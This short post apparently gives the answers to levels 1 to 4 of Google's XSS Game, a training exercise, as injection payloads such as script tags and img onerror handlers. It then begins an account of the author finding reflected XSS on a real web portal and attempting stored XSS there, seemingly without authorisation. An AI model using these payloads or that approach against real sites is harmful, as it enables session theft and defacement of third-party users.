Google XSS Game

Level #1: Hello, world of XSS
Solution: <script>alert('xss')</script>
hint: inspect the source code of the page

Level #2: Persistence is key
Solution: <img src=x onerror=alert('XSS')>
hint: “welcome” post contains HTML

Level #3: That sinking feeling…
Solution:' onerror='alert("xss")'>

Level #4: Context matters
Solution: timer=');alert('xss

Level #5: Breaking protocol

Level #6: Follow the X

Stored XSS on

I was surfing the internet when I came across this web portal which I found to be vulnerable to Reflected XSS. So I attempted to make a Stored XSS because I noticed a kind of message board. I have created a temporary email for registering on the website, then I completed the registration phase….